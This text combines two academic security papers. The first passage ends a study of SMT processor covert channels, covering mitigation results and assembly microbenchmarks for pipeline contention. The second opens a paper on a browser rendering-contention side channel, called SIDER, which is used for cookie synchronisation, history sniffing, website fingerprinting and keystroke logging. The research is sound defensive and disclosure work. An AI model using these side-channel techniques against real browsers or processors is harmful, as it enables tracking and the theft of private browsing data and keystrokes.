To show the effectiveness of our mitigation strategies in stop-
ping covert channels, we perform a study similar to Covert
Shotgun [56]. In this experiment, a spy thread constantly ex-
ecutes one type of instruction and measures its timing. The
trojan thread tries to send a signal by executing different in-
structions, thereby varying the contention on various pipeline
resources. Figure 6 shows the results for just one instance
of this experiment where the spy thread constantly executes
the movb instruction. In a fully shared pipeline, the timings
of the spy process can be clearly influenced by the trojan’s
instructions. An attacker, therefore, can pick any pair of in-
structions that show a different effect on the spy process to
create a covert channel. When we enable any of our mitigation
strategies, the spy thread timings become constant, effectively
stopping all identified covert channels. For adaptive partition-
ing, all measurements are within one adaptation period. For
Asymmetric SMT, the trust levels are set so that only the tro-
jan thread can borrow resources. Further examination of the
experiments shows that the covert channels in the fully shared
pipeline are created by contention on mainly two resources:
the fetch bandwidth and the functional units. We observe
similar results when the spy uses different instructions.

Note that while this study shows that our mitigation strate-
gies completely stop the covert channels that can be found
with this approach, this test does not give complete coverage
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Figure 7: Performance of the Proposed Schemes.
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Untrusted JavaScript Code.
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Figure 9: Partitioning Schemes for Functional Units.

of all shared resources, particularly structures not documented
by Intel or AMD. Also, these are the results of simulation
(the only way to evaluate most new hardware mitigation tech-
niques), and a real processor may contain other leaks not
simulated.

7.2 Performance Evaluation
Figure 7 shows the results of our mitigation schemes applied
to the pipeline resources mentioned in Section 6. Each bar
represents the average results of running a benchmark on one
thread with each of the other benchmarks on the other SMT
thread. Static partitioning of the pipeline resources, as ex-
pected, imposes a significant performance cost. On average, it
slows the execution by 10% compared to dynamically-shared
resources. The performance overhead goes as high as 24%
for some benchmarks (mcf ). However, for one program (lbm),
static partitioning significantly improves the performance.
That is because lbm frequently exhausts the entire store queue
on a dynamically shared pipeline, which causes the other
thread to stall due to lack of store queue entries. In this case,
lbm gets no benefit from more queue entries, and only gets
extra interference by causing the other thread to get backed up.
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Figure 10: Partitioning Schemes for Fetch Bandwidth.
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Figure 11: Partitioning Schemes for Caches.

Therefore, statically partitioning the store queue achieves bet-
ter performance for lbm, and our schemes further accentuate
that advantage. Our adaptive partitioning reduces the perfor-
mance overhead of partitioning to only 2% on average (5%
if we ignore lbm), and consistently reduces the performance
overhead of partitioning across all the benchmarks.

Asymmetric SMT further improves the performance and
even provides a 2% speed-up over the shared pipeline (thanks
again to lbm). But even excluding lbm, Asymmetric SMT al-
most fully restores the performance of a fully shared pipeline.
These results show that opportunistically borrowing resources
is highly effective at maintaining high utilization of parti-
tioned resources. Note that, as mentioned in Section 6, for
each pair of the benchmarks, we run the experiment twice. In
each run, a different benchmark is considered as the trusted
(borrower) thread in the Asymmetric SMT experiments.

Figure 8 shows the performance of the Asymmetric SMT ar-
chitecture in a different, more realistic setting. On one thread,
the SMT processor runs the SunSpider Javascript benchmark
on Duktape engine, and on the other thread, it runs a trusted
cryptography benchmark from the WolfSSL suit. This resem-
bles computation that a web browser might perform. Asym-
metric SMT allows the trusted threads (AES and RSA in this
case) to borrow resources from the untrusted threads. The
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combination of our adaptive partitioning and Asymmetric
SMT, on average, reduces the overhead of partitioning from
24% to 11% for RSA. For the AES benchmark, Asymmetric
SMT not only completely restores the performance overhead
of static partitioning, but also outperforms the fully shared
baseline by 7% on average. The performance gain mostly
comes from the pairs of benchmarks for which static parti-
tioning performs better than the fully shared pipeline, such as
regexp-dna. These benchmarks exhibit frequent resource full
events (e.g., high number of physical register full in regexp-
dna) that stall both threads in a shared pipeline. In such cases,
partitioning allows one thread to continue execution and thus
improves overall performance.

Next, we take a closer look at the performance of the pro-
posed schemes by examining their effects on the individual
pipeline resources. Among the resources that we partition, we
find that the most significant contributor to the performance
cost is the execution ports/functional units. Figure 9 shows the
results of an isolated experiment where all resources are dy-
namically shared except the execution ports. We examine four
partitioning schemes for the execution ports: two different
static partitioning schemes as well as our proposed adaptive
and asymmetric SMT.

Multiplexing the dispatch bandwidth refers to the method
where we only dispatch instructions from one thread each cy-
cle. It severely impacts performance. On average, it reduces
the performance by 12%, compared to dynamically shared
execution ports, and is as high as 19% for some benchmarks.
The main reason for such poor performance is that, at each
cycle, there are not enough instructions from only one thread
to fully utilize the execution ports. Another scheme is mul-
tiplexing individual functional units instead of the dispatch
bandwidth as a whole (described in Section 5.3.2). This is
also the default static partitioning scheme used for the sum-
mary results of Figure 7. This improves the utilization of the
execution ports over dispatch bandwidth multiplexing. How-
ever, the cost of static multiplexing of the functional units is
still high (10%, on average) compared to shared execution
ports. Adaptive partitioning is able to reduce that overhead
to only 6%. Adaptive partitioning, even with extremely long
adaptation intervals, is highly effective for the execution ports
as different programs naturally exhibit different usage dis-
tributions for different functional units. Asymmetric SMT
reduces this overhead even further to only 1%.

The next big contributor to the performance cost is the fetch
bandwidth. Figure 10 shows the results of another isolated
experiment where we only partition the fetch bandwidth and
keep other resources dynamically shared. The baseline shared
architecture uses ICount [12] to dynamically determine the
best thread to fetch from. However, as Section 4.2 shows, this
can be used to construct covert channels. One way to mitigate
that is to use a strict round-robin scheme (partitioned bars in
the figure) where the fetch unit alternates between the threads
each cycle. A partitioned fetch policy does not have the ability

to choose the fetching thread based on dynamic conditions
each cycle; therefore, it loses 7% performance overhead, on
average. We get small gains from adapting the partition (and
so restore some small amount of the dynamic adaptation),
then a bit more from asymmetric SMT, which enables us to
retrieve some of the unused fetch bandwidth.

Figure 11 shows the effect of our partitioning scheme ap-
plied to the cache hierarchy (L1 instruction and data, and L2
caches). On average, the static partitioning of the cache sets
into two equally sized partitions imposes 6% performance
overhead. This is greatly influenced by one benchmark (mcf )
that has a large cache working set. Adaptive partitioning re-
duces the overhead to only 2%. It allocates more cache ways
in each set to the thread that shows more misses during the
adaptation period. Asymmetric SMT further reduces the over-
head to only 1%.

One interesting aspect of these results, compared to Fig-
ure 7, especially considering results not shown for other indi-
vidual resources, is that the performance costs incurred overall
are far less than the sum of the costs for individual mitigations.
This is expected on a well-balanced architecture, as these pro-
cessors are designed to be. In a well-balanced architecture,
restricting one resource but not others will always make that
resource a bottleneck. But in a (hypothetically) perfectly bal-
anced architecture, restricting all resources may have no more
negative impact than restricting one.

8 Conclusion
This paper provides the first comprehensive and exhaustive
analysis of sharing-based security vulnerabilities in modern,
high-performance SMT processors. This analysis shows that
despite the fact that many resources are statically partitioned,
there still remain many resources that are dynamically shared
and present high bandwidth leakage channels. Among the
channels identified are some previously unknown, including
fetch bandwidth dynamic sharing and dynamically shared
issue bandwidth, each enabling channels of over 500 Kbps.

This work also examines some novel, unified approaches to
mitigation that can be applied throughout the pipeline. These
provide high isolation between threads (allowing collectively
a few bits of leakage over, for example, 100,000 cycles) while
retaining most of the performance of a fully dynamically
shared, insecure SMT implementation. Adaptive partitioning
gets within 5% of shared SMT, and asymmetric SMT, which
further enables unfettered performance of a trusted thread
in the presence of an untrusted, all but eliminates the loss.

It is common for SMT execution to be disabled in security-
critical code, or in the presence of frequent untrusted execu-
tion streams. This work shows that SMT contention-based
vulnerabilities can be reduced below the level of other known
vulnerabilities, making SMT execution a viable alternative
for secure execution. We do so while still preserving the bulk
of the performance benefit of SMT.
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Figure 12: Reverse Engineering the Reservation Station Shar-
ing Mechanism.
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Figure 13: Reverse Engineering the SQ Sharing Mechanism.
In single-thread mode, we see a spike in the execution time
at 36, exactly the size of our SQ. In SMT mode, T2 only
executes NOPs, but still causes T1’s SQ to be halved.
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A Appendix
A.1 Extra Details on Covert Channels
Listing 4 and Listing 5 show the microbenchmarks that we
use for isolating contention on the Reservation Station and
the Store Queue.

Figure 12 shows the results of running Listing 4 (described
in Section 4.5) in single-thread mode and in SMT mode on Ivy
Bridge. In single-threaded mode, we observe a spike in the ex-
ecution time if the code consumes more than 54 RS entries. In
SMT mode, on one thread we run the same microbenchmark,
while the other thread executes NOP instructions. We observe
that Ivy Bridge limits the maximum number of allocated RS
entries to 40 entries, and does not let one thread use all of the
54 RS entries.

Similarly, Figure 13 shows the results of running Listing 5
in both single-thread and SMT modes. This microbenchmark
includes a series of stores which are dependent on the first
long-latency load. When the number of store instructions ex-
ceeds the size of the store queue, the processor cannot issue
the store instruction for which we do not have an available SQ
entry, nor any of the following instructions. That is because
even in an out-of-order Intel processor, the rename and allo-
cation stages happen in order. If you run out of out-of-order
resources such as physical registers, IQ, ROB, or SQ entries,

Table 3: Delay, Area, and Power Results for Different Imple-
mentation of the Dispatch Unit.
Module Delay (ns) Area (µm2) Static Power (mW) Dyn. Power (mW)

Shared Dispatch 0.955 7567 0.168 4.118
Partitioned Dispatch 0.951 7660 0.170 4.900
Asymmetric Dispatch 1.037 12147 0.284 6.508
Mult 32×32 1.318 7597 0.163 6.835

the rename and/or allocation will be stalled. It is only after
these stages that the processor can identify the dependencies
between the instructions and dispatch the instructions out of
order to the execution units. Thus, if a store instruction cannot
proceed due to lack of SQ entries, the store and all younger
instructions–independent of their type–will be stalled. As a
result, in single-thread mode we see a spike in the execution
time at 36 stores, which is precisely the size of the store queue
in our Ivy Bridge processor. We also run the same code in
SMT mode, along with another thread that does not consume
any SQ entries, i.e., it only executes NOPs. In that experiment,
we observe that the number of SQ entries available for T1 is
exactly half of the SQ, suggesting a static partitioning scheme
for the SQ.

A.2 RTL Model of Asymmetric SMT
To fully evaluate the effects of resource borrowing on cy-
cle time, power, and area (and to supplement our simulation-
based performance results), we implement different partition-
ing schemes on an example resource in Verilog HDL. To
that end, we choose the dispatch unit, the biggest contributor
to the performance loss of partitioning and likely the most
latency-critical, for which we implement three different shar-
ing schemes: fully shared dispatch, partitioned dispatch, and

CLFLUSH [RDI]
CLFLUSH [RSI]
MFENCE
MOV RAX, [RSI] #Long-Latency Load
CMP RBX, RAX #Waits in RS
... #Consume N RS entries
CMP RBX, RAX
MOV RAX, [RDI] #Long-Latency Load

Listing 4: Microbenchmark for Making Contention on Reser-
vation Station. When N is larger than available reservation
station entries the two loads cannot be issued in parallel.
CLFLUSH [RDI]
CLFLUSH [RSI]
MFENCE
MOV RAX, [RSI] #Long-Latency Load
MOV [RBX], RAX #Consumes a SQ entry
... #Consume N SQ entries
MOV [RBX], RAX #Consumes a SQ entry
MOV RAX, [RDI] #Long-Latency Load

Listing 5: Microbenchmark for Making Contention on Store
Queue. When N is larger than available store queue entries
the two loads cannot be issued in parallel.
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Asymmetric dispatch. Fully shared dispatch assigns the func-
tional units to the instructions marked "ready" in the queue,
in a simple first-in-first-out fashion. The partitioned dispatch
is similar to the shared, but it only dispatches instructions
from a single thread each cycle. The Asymmetric dispatch
is similar to the partitioned dispatch, but it assigns any un-
used functional units to the trusted thread. We then use the
Synopsis Design Compiler Q-2019.12-SP5-3 with the 45 nm
NanGate standard cell library [104] to synthesize and obtain
timing, area, and power information.

Table 3 shows the post-synthesize analysis of different im-
plementations of the dispatch unit. Our Asymmetric scheme
increases the delay of the dispatch unit from 0.955 ns to
1.037 ns. However, this 8.6% extra overhead does not af-
fect the processor’s cycle time, as it is not enough to put the
dispatch unit on the critical path of the whole processor core.
As an example, we show that the (pipelined) integer multipli-
cation unit has a longer delay. To see this, we implement a
three-cycle multiplication module [107], imitating Skylake’s
three-cycle integer multiplication design. Our results show
that the delay of our Asymmetric dispatch is still significantly
smaller than the cycle time determined by the multiplier (the
longest of the three stages); thus, our Asymmetric dispatch
will not affect the cycle time.

Asymmetric dispatch covers a 16% larger area compared
to a shared dispatch unit. However, this is also not a matter of
concern as the dispatch unit constitutes only a tiny fraction of
a modern processor’s die area. The Skylake core, for example,
has an area of 8.73 mm2 [108]. The asymmetric dispatch over-
head, thus, will be only 0.051% of the core area (calculated
conservatively, not accounting for the technology node differ-
ences). Similarly, the power overhead is also not considerable
compared to the total power consumption of an out-of-order
core, which could be in the order of tens of Watts.
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Abstract
Browser rendering utilizes hardware resources shared

within and across browsers to display web contents, thus
inevitably being vulnerable to side channel attacks. Prior
works have studied rendering side channels that are caused
by rendering time differences of one frame, such as URL
color change. However, it still remains unclear how rendering
contentions play a role in side-channel attacks and covert
communications.

In this paper, we design a novel rendering contention chan-
nel. Specifically, we stress the browser’s rendering resource
with stable, self-adjustable pressure and measure the time
taken to render a sequence of frames. The measured time
sequence is further used to infer any co-rendering event of the
browser.

To better understand the channel, we study its cause via
a method called single variable testing. That is, we keep all
variables the same but only change one to test whether the
changed variable contributes to the contention. Our results
show that CPU, GPU and screen buffer are all part of the
contention.

To demonstrate the channel’s feasibility, we design and im-
plement a prototype, open-source framework, called SIDER,
to launch four attacks using the rendering contention channel,
which are (i) cross-browser, cross-mode cookie synchroniza-
tion, (ii) history sniffing, (iii) website fingerprinting, and (iv)
keystroke logging. Our evaluation shows the effectiveness
and feasibility of all four attacks.

1 Introduction
1.1 Rendering Contention Channel

Rendering is an important component of modern web
browsers, which converts raw text-based data from the In-
ternet, e.g., HTML and images, to something displayable on
the computer screen. At the high-level, the operating system
(OS) provides rendering as abstract resources to web browsers
via libraries like DirectX and OpenGL; at the low-level, the

∗Dr. Yinzhi Cao is the corresponding author.

abstracted rendering resource are broken down into different
hardware resources such as CPU, GPU, and screen buffer. No
matter at high- or low-level, rendering resources are shared
by all processes running on the same OS and web frames on
the same browser, thus inevitably being vulnerable to side
channels.

Prior works—such as Stone [54], Smith et al. [51], and
Huang et al. [23]—have showed that an adversary can mea-
sure a particular, microscale rendering event, such as a link
color change and an SVG filter effect, happening in just one
rendering frame to infer a cross-origin secret. However, de-
spite their success, it remains unclear how the contentions on
rendering, a scarce resource provided by the OS, can be used
for side-channel attacks and covert communications.

In this paper, we design a novel rendering contention chan-
nel, which stresses the rendering resources with stable, self-
adjustable pressure from a browser and measures the time
taken to render a sequence of frames. The measured time
sequence is then used to infer any co-rendering events.

Because the channel is less known to the research com-
munity, we study it using a method, called Single Variable
Testing, to better understand the cause of the channel. The
method only changes the pressure on one single variable, e.g.,
GPU, CPU and screen buffer, during the rendering pipeline,
but keeps all others unchanged to measure the Signal-to-Noise
Ratio (SNR). If the SNR changes together with the tested
variable, we consider that the contention on that variable con-
tributes to the channel.

The results show that GPU, CPU and screen buffer all
contributes to the channel. The breakdown is actually compli-
cated though, which depends on different configurations. For
example, hardware rendering has all three variables involved,
but software rendering only has CPU and screen buffer con-
tention because GPU is not used in the rendering process. This
further demonstrates the necessity in abstracting the channel
as rendering contention.
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1.2 Rendering Contention Channel Attacks

One important research question, besides the causes for the
channel, is what attacks we can launch using the channel. Here
we illustrate three example co-rendering events as targets and
four attacks using this channel.

First, we describe a client-side covert communication be-
tween different browsers (e.g., Safari and Chrome) and modes
(e.g., normal and incognito) where the co-rendering event is
controlled by the sender. Specifically, the sender modulates
target signal by pausing and continuing a rendering event
as zeros and ones and the receiver observes the rendering
workload change to de-modulate the signal. Such a convert
communication can be used to synchronize cookies. Then, it
can either deliver targeted ads for third-party tracking web-
sites like DoubleClick or limit the number of free articles for
news websites like NYTimes.

Second, let us consider webpage rendering as a co-
rendering event. Modern browsers adopt a technique, called
incremental rendering [5], to accelerate rendering and show
rendered contents to users as soon as possible. At the same
time, this also leads to two types of attacks, (i) history sniffing
and (ii) website fingerprinting, as we discussed below:
• History sniffing attack is possible because incremental ren-

dering groups cached contents together, making the render-
ing of a visited website different from unvisited. Such an
attack is harder to defend against when compared with prior
history sniffing attacks like those [51, 54] relying on the
rendering of link color, because the slow-down of the entire
page rendering will significantly hamper user experience.

• Website fingerprinting attack is possible because incre-
mental rendering also make the renderings of different
web pages unique. Such a website fingerprinting attack
is complementary to many existing website fingerprinting
attacks [19, 49] relying on side-channels unrelated to ren-
dering contention.
Lastly, we consider the co-rendering event as the rendering

of a small area of a webpage, such as a div tag. Modern web
search engines like Google all support autocomplete to give
users real-time suggestions during typing, or in other words,
render a new div element. Therefore, an adversary can infer
what the user types from the appearance timestamp of each
new div element. Note that this attack is the weakest among
all four because the rendering area is small—we include it for
the completeness in describing the rendering channel.

1.3 Rendering Contention Framework

While all four attacks are theoretically possible on the ren-
dering contention channel, the design and implementation of
these attacks in real-world face one major challenge, i.e., the
high noise level. Such noise comes from difference sources,
such as browser-introduce jitters and other rendering tasks.

In this paper, we propose to build a framework, called
SIDER, to launch attacks using the rendering contention chan-
nel. One important task of SIDER is to denoise the signal

from the rendering contention channel. Specifically, our ob-
servation is that the over-time rendering pattern as a whole—
despite a few abnormal data points—contains the semantics
of the target co-rendering event. Therefore, SIDER smoothes
out and normalizes the rendering pattern using a sliding win-
dow and then adopts a distance calculation considering data
shifting and sudden, high-value noises.

Another important task of SIDER is to compare the de-
noised target signal with a reference group. This is useful
because although SIDER often has one chance to run the tar-
get event, SIDER can run multiple baseline rendering events.
Take the history sniffing attack for example. SIDER can only
load the webpage once before it is cached, but it can load the
webpage multiple times to obtain the patterns for cached web-
page. Specifically, we proposed two algorithms for this: (i) a
max-min algorithm designed by us and (ii) a DNN-based al-
gorithm. The former is used online when the reference group
size is small, e.g., in history sniffing. The insight is that if
the minimum distance between the target and the reference
group is larger than the maximum distance among samples
within the group, the target is an outlier. The latter is used
offline when the reference group size is large, e.g., in website
history sniffing. We particularly design the DNN architecture
so that it can support multiple side channels and varied length
of input data.

To facilitate open science, we have made our implemen-
tation open-source at this anonymous repository (https:
//github.com/renderingsidechannelattacks/
rendersidechannelattacks). We also release our
dataset together with the open-source code in the afore-
mentioned repository. For those who are interested in
our attack, a demo can be found at this URL (http:
//www.renderingsidechannelattacks.com:8080/).

2 Related Work
In this section, we discuss existing attacks and defenses.

2.1 Existing Side- or Covert-channels

Side-channel attacks [25, 29, 38, 65, 66] are a well-studied
problem across different platforms. Researchers have studied
browser-level side channels for a long time including but not
limited to lower-level caching attacks [21, 45], performance-
based browser type and version inference [41,42], document’s
visual content inference [31], and script and video size infer-
ence [55, 56]. We now describe them based on four attacks.

• Cross-browser cookie synchronization. We are unaware
of existing works that can achieve direct client-side cross-
browser cookie synchronization. The closest work is cross-
browser fingerprinting [13], which can restore client-side
cookies based on the same fingerprint. However, this
restoration needs server supports and introduces many false
positives due to fingerprint collision.

• History sniffing attack. The earliest history sniffing at-
tack from Felten et al. [19] shows that the loading time of
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Table 1: A high-level comparison of the work with a representative selection of other existing side channels.

Work Side Channel Adversary

Attack Type

Sampling Rate
Avg attack

Cross-browser
Cookie Sync

History
Sniffing

Website
Fingerprinting

Keystroke
Logging

time

Lifshit et al. [36] Power consumption External hardware 7 7 outside browser 3 1000 Hz ≈10 s
Oren et al. [45], Shusterman et al. [49] Last-level cache Cross-origin page 7 7 same-browser∗ 3∗∗ 10–500 Hz ≈30 s
Felten et al. [19] Page loading Cross-origin page 7 3 7 7 N/A ≈3 s
Stone [54], Smith et al. [51], Huang et al. [23] URL rendering Cross-origin page 7 3r 7 7 N/A ≈20 ms
Naghibijouybari et al. [43] GPU CUDA/OpenGL 7 7 outside browser 3 >1000 Hz ≈3 s
Monaco et al. [40] Network package Network sniffer 7 7 7 3 N/A N/A
Panchenko et al. [46] Network package Network sniffer 7 7 outside browser 7 N/A ≈3 s
Rendering contention channel (this work) Page rendering Cross-origin page 3 3 same-&cross-browser 3 10–60 Hz ≈3 s

3: The attack is feasible using the side channel, 3r: the attack is feasible but fixed by some browsers [3], 7: The attack is not feasible using the side channel.
∗: Existing papers do not have evaluations on cross-browser website fingerprinting and we show that the channel’s cross-browser performance is reasonably low (See Table 5).
∗∗: Although no research and experiments have been conducted using this side channel for keystroke logging, our experiment shows that it is at least feasible.

a web page can be used to sniff browser history. Such a
decade old side channel, although still being there, is less
severe because the loading time depends on the slowest
component, which may not be cached like many Chinese
websites such as sohu, QQ and 360. Stone [54] proposes
that link color change between visited and unvisited URLs
can be used to infer browser history, and later on Smith et
al. [51] and Huang et al. [23] also improve the attack in
modern browsers with defense. Google fixed this attack [3]
by adding another rendering event between two visited
URLs to reduce the statistical difference.

• Website fingerprinting. Naghibijouybari et al. [43] and
Gulmezoglu et al. [22] show that an openGL or a CUDA
program can infer the website based on GPU’s performance
counter. Jana et al. [26] track changes in the application’s
memory footprint and identify the website users are visiting.
Kim et al. [28] show that browser activities and statuses can
be inferred by monitoring storage usages. Vila et al. [57]
shows that the shared event loops as a side channel can be
used for identification of websites. Shusterman et al. [49]
show that the cache occupancy channel contending for last-
level cache can be used to fingerprint websites. Matuyunin
et al. [39] and Lifshits et al. [36] show the possibility of us-
ing magnetometer and malicious batteries as side channels
in fingerprinting websites. Yang et al. [62] and Spreitzer et
al. [52] exploit USB power analysis and mobile data-usage
statistics for website fingerprinting. Clark et al. [17] study
electrical outlets as a side channel to identify webpages.

• Keystroke logging. Wang et al. [59] perform keystroke log-
ging attacks via exploiting graphic libraries. Lipp et al. [37]
rely on the interrupt-timing side channel to log keystrokes
using sandboxed JavaScript. The aforementioned shared
event loops [57] as a side channel can also be used for
keystroke logging.

Other than the aforementioned attacks, side channels, espe-
cially those in WebGL and GPU, can also be used for different
purposes. Lee et al. [33] study several GPU vulnerabilities,
e.g., the inference of webpage via memory size. The threat
model of their attacks assumes a malicious CUDA or openGL

program. Booth [9] exploit resource-based side channels and
show their effectiveness.

Comparison with Rendering Contention Channel We
compare existing channels in Table 1:

• Adversary. A cross-origin page refers to a webpage with
an origin different from the target, which is a strong model
because of its easiness to launch attacks. In the past, other
attack models are also adopted, such as an openGL/CUDA
program, a network sniffer and a hardware adversary.

• Attack Type. The rendering contention channel supports
three side-channel attacks and one covert-channel attack.
Cross-browser is a strong property of this channel, which
leads to two unique attacks, i.e., cross-browser website
fingerprinting and cookie synchronization.

• Attack Time and Sampling Rate. The rendering contention
channel has similar low sampling rate as the state of the
art, i.e., the cache occupancy channel. At the same time,
the attack time is shorter, because rendering mostly hap-
pens before the onload event but JavaScript is still running
heavily after the onload event.

2.2 Defense against Side Channels

Browser vendors, like Firefox, Chrome and Tor
Browser [6], are reducing the resolution of its timer
like performance.now and adding jitters as a defense.
Fuzzyfox [30] introduces fuzzy time to Firefox to reduce
a new clock edge attack. JavaScript Zero [48] also adds
noise to performance.now via a redefinition of JavaScript
APIs in Chrome extension. DeterFox [12] and JSKernel [16]
enforce a deterministic time upon all the events, such as
frame rendering. Wu et al. [60] show that the side channel
from Cao et al. [13] is caused by floating-point operations
and propose to adopt integer operations and make WebGL
rendering uniform. Some new browser architectures and
defenses [2, 14] are proposed to isolate third-party JavaScript
but cannot defend against side-channel attacks. In addition to
browser-level defenses, there also exists many defenses [8,
10, 11, 15, 20, 24, 27, 32, 34, 35, 44, 47, 50, 53, 58, 61, 63, 64] in
the system level against general timing attacks.
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Figure 1: Rendering Patterns of QQ (www.qq.com), Google
and Youtube in Tor Browser Observed from a Chrome Win-
dow through the Rendering Channel.
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3 Rendering Contention Channel
In this section, we answer two fundamental questions: (i) what
the channel is, and (ii) what the channel’s cause is (i.e., why
the channel exists).

3.1 What is the rendering contention channel?

Key Take-away Answer: The rendering contention
channel is that the observer, when rendering a specific
workload, measures the interval between each con-
secutive frame and then uses the measured interval
sequence as the pattern to infer another co-rendering
target.

The rendering contention channel has two parties: the tar-
get and the observer. The target renders a graphics-heavy
macroscale event, such as page loading; the observer mea-
sures the time to render each frame and records each frame’s
time as a vector to infer what the target is rendering. For ex-
ample, Figure 1 shows clear, differentiable rendering patterns
of three websites (QQ, Google and Youtube) visited in Tor
Browser 9.0.1 but observed in Google Chrome 84.

One interesting observation here is that the channel is very
noisy. There are multiple reasons. First, modern web browsers
introduce a low-resolution timer and adding jitters to the timer
to defend against timing channels in general. Therefore, the
observed pattern fluctuates within a certain range like a back-
ground noise even if there is no target rendering events, e.g.,
Frame 50 and after in Figure 1 (Google) when Google fin-
ished rendering. Second, there are many events other than the

target that may also be rendered at the same time to contend
for the resource, e.g., the local peak at around Frame 230 in
Figure 1 (Google). Third, network delays may prolong a one-
frame rendering event into two or more frames, e.g., causing
a half-loaded and then a fully-loaded image. The peak in Fig-
ure 1 for Youtube at around Frame 230 is such an example,
which is supposed to exist in just one frame but spans over
two frames in the figure.

3.2 What is the rendering contention channel’s cause?

Key Take-away Answer: At the high level, the cause
is a contention on the rendering resource abstracted
by the operating system.
At the low level, we find three contention causes for
the channel: GPU, CPU, and screen buffer. All three
contribute to hardware rendering; only the latter two
contribute to software rendering.

3.2.1 Methodology: Single Variable Testing

In this part, we describe our methodology—called Single
Variable Testing—to analyze the channel’s cause. The high-
level idea is that we only change one single contributing factor
(i.e., a single variable) of the channel but keep all others the
same. Then, we observe the Signal-to-Noise Ratio (SNR) of
the channel, which is defined in Equation 1.

SNRdB = 10log10
Psignal

Pnoise
= 10log10

Psignal

Pmeasured−Psignal
(1)

where Psignal is the average power of the ground truth signal
and Pmeasured is the average power of the measured signal
from the channel. Note that if the SNR value changes with
different values of the variable, the variable is considered as
an influential factor—i.e., one cause—of the channel.

Next, we describe two things: (i) how to change each vari-
able and (ii) what variables are considered. First, intuitively,
because the rendering channel is a contention channel, we
need to introduce workload for each considered variable. At
the same time, we also need to change the workload constantly
to introduce more noise for the channel—the more frequent
the changes are, the more noise is added to the channel.

Second, we introduce different variables that are tested in
the analysis. Figure 2 shows the rendering pipeline adopted
by modern computers from input data to rendered images on
the screen. From the high-level, rendering is abstracted by the
OS as a resource; from the low-level, different elements in
the pipeline are handled by different hardware resources and
we describe them below.
• CPU. CPU is involved in the rendering pipeline because

it prepares data, e.g., matrices, for the GPU in hardware
rendering or performs all the job in software rendering. We
launch CPU-intensive programs and change the workload
and the number of threads to test the influence of CPU on
the channel.
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Figure 3: Signal-to-Noise Ratio (SNR) of the Rendering Contention Channel with Different Single Variables (HW: hardware and
SW: software; the default number of thread is 8 and the noise frequency is 30 per minute if not otherwise indicated).

• GPU. GPU is involved in the rendering pipeline because
vertex and fragment shaders are usually run in GPU to
accelerate the calculation. We launch two programs: one
with random matrix calculation using OpenCL in a certain
frequency and the other without the calculation in the same
frequency. Then, we deduct the SNR degradation caused
by the latter from the former to reduce the CPU influence.
Note that we choose OpenCL instead of OpenGL to remove
the impacts of the screen buffer involvement.

• Screen buffer (or called Framebuffer). Screen buffer is
the final stage of the rendering pipeline, which stores all
the data to render in a video frame. Similar to the GPU
experiment, we launch two programs: one outputting ran-
dom pre-generated colors to the screen buffer in a certain
frequency and the other that generates colors in the same
frequency but do not draw them. Then, we deduct the SNR
degradation caused by latter from the former to remove any
GPU or CPU influence.

3.2.2 Experimental Setup

In this part, we describe computers and configurations used
in the experiment. We have three computers: (i) iMac 4-core
Intel Core i5-7600 CPU @ 3.50GHz with Radeon Pro 575
(called iMac), (ii) MacBook Pro 6-core Intel Core i7-9850H
CPU @ 2.60GHz with Intel UHD Graphics 630 (called Mac
Pro), (iii) Alienware Aurora R7 6-core Intel Core i7-8700k
@ 3.7GHz LLC 12MB with NVIDIA GeForce GTX 1080
with Windows 10 (called Windows) and Ubuntu 20.10 (called
Linux) dual Operating Systems. We use Chrome 90 for all
the experiments in this section.

During the experiment, we run three programs, one as the
sender, one as the observer, and the last as the noise generator.
The sender runs a random workload used as the ground truth
and the observer compares what been measured in the channel
with the ground truth to compute the Signal-to-Noise Ratio
(SNR). The noise generator changes one property, e.g., the
frequency with noise on and off, and the number of threads.
Each frequency or thread number is tested for 100 times with
average values and standard deviations. Here are the imple-
mentation details of three types of noises.

• CPU Noise. The CPU noise is created by a WebAssembly
based CPU intensive program [1] and driven by a Python
code for on and off.

• GPU Noise. The GPU noise is created by two OpenCL
programs (version 1.2): one that calculates random ma-
trix multiplications and the other that does not. Each
matrix in the first program ranges from 2,000×2,000 to
10,000×10,000 with random values between zero and one
and the number of multiplications range from 30 to 50.

• Screen Buffer Noise. The screen buffer noise is created
by two OpenGL programs (version 4.1); one that outputs
random RGB colors to a 500×500 canvas and the other
that does not.

3.2.3 Overall Results

Figure 3 shows the SNR of the rendering contention channel
with different single variables, e.g., the number of threads and
the frequency of CPU, GPU and screen buffer noises. All three
factors contribute to the channel especially under hardware
rendering. We now describe and analyze the detailed results.
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Hardware vs. Software Rendering Figures 3a–3d show
the hardware rendering results and Figures 3e–3h software
rendering. GPU does not contribute to the rendering con-
tention channel in software rendering because Figure 3g
shows a flat line. Instead, the CPU’s contribution in Figure 3e
is very large, which can bring SNR below zero dB. As a com-
parison, both GPU and CPU contribute to the contention in
hardware rendering. The contribution of screen buffer exists
in both software and hardware rendering because both need
to display contents on the screen.

Integrated vs. Dedicated GPU Figure 3c shows the SNR
changes when the frequency of GPU noise increases. The
channel on computers with dedicated GPU is more robust to
such noises: The iMac, Windows, and Ubuntu lines (i.e., those
with dedicated GPUs) are above the Mac Pro line (which only
has an integrated GPU).

CPU We have two observations for CPU’s contribution.
First, the robustness against CPU noise depends more on the
number of cores than the operating frequency. For example,
both Figures 3a and 3e show that Mac Pro with more cores
and lower frequency performs better than iMac. Second, pro-
cesses with fewer threads have less impact on the rendering
contention channel as shown in Figures 3b and 3f even when
the noise frequency is 30 per minute. The reason is that some
idle CPU cores are able to handle the rendering.

Windows vs. Linux The difference between the channel
on Windows and Linux systems is small on hardware ren-
dering but relatively larger on software rendering (although
still being smaller those caused by different CPUs and GPUs).
The reason might be that the scheduling performed by OSes
on CPU is heavier than GPU.

4 SIDER: Rendering Contention Framework
In this section, we describe our general attack framework,
SIDER, in reducing the noise level of the rendering contention
channel. We adopt two steps, smoothing and normalization,
for the denoising. The first step is to smooth the data and re-
duce unexpected high-value noises collected in the raw data;
the second step is to normalize the raw data and mitigate diver-
sity and noise introduced by different browsers and hardware
environments.

We now present the algorithm details in Algorithm 1. The
input of this denoising algorithm is the raw data collected
directly from the rendering side channel and the output is the
normalized sequence. The raw data is first being smoothed
(Lines 6–14): Particularly, SIDER adopts a sliding window
and applies smooth filter, such as an average filter, to all the
data points in the window (Line 10).

Then, the smoothed data is being normalized (Lines 15–24)
to standard values irrelevant to the rendering environments.
The high-level idea is as follows. We find the top, say 5%,
values within the smoothed data, calculate the average, and
then use it as the top reference value (Line 16). Similarly, we

Algorithm 1 Denoising
Input: rawSeq
Output: normSeq
